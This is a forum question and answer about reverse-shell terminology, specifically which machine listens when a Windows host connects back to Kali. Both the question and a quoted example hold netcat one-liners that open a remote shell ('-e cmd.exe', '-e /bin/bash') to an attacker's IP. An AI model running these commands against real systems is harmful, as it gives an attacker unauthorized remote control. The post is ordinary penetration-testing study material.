securitynetwork-security

Create a reverse shell from Windows system to a Kali machine - which one is the listener


I know what reverse and bind shell are and how to go about them using netcat/ncat but the problem I am facing here ( probably because I am not a native English speaker) is this sentence : "Create a reverse shell from Windows system to a Kali machine"

To me, this sounds like a listener has to be opened on the Kali machine and a command prompt served from the Windows machine to Kali. Like this:

Linux : nc -nvlp portno --allow WindowsIP --ssl

Windows : nc -nv LinuxIP portno -e cmd.exe --ssl

But the more I read, the more confusing it gets (to me). Definitions like

"Reverse shell is getting the connection from the victim or target to your computer"

Or examples like :

"A can send a reverse shell from A's Linux machine to B: root@kali:~# nc -nv windowsIP Port -e /bin/bash"

This example is adding to the confusion because if reverse shell from Linux to Windows means serving a bash shell, then sending a reverse shell from Windows to Linux would mean serving a cmd.

Can someone please explain how do we recognise which machine should be the listener given this kind of query?


Solution

  • Your question seems to be about English. All I can say is that your interpretation is correct: the listener is the Kali machine, the victim is the Windows machine (where some type of shell -- typically cmd or powershell -- is served).

    I'm not sure why you think either of the quotes that you highlight disagree with that. Perhaps the second quote threw you off because in that case the Victim is a Linux machine and the attacker is the Windows machine (it specifies that the attacker has a windowsIP) -- which is atypical because normally you attack from Kali. Note in that case they are giving you the command that is ran on the victim machine to connect back to your windowsIP attacking machine.

    If you are coming from Kali and you are able to get remote code execution on a Windows victim machine, then you need to run netcat on the Windows machine, connecting back to your Kali. So Kali is listening for the connection from Windows. When you attack a Windows machine, you normally have to upload a Windows binary version of netcat. You then invoke the netcat on the Windows machine with shell cmd.exe or Powershell. When it connects back to Kali, you can run those Windows shell commands from your attacker Kali.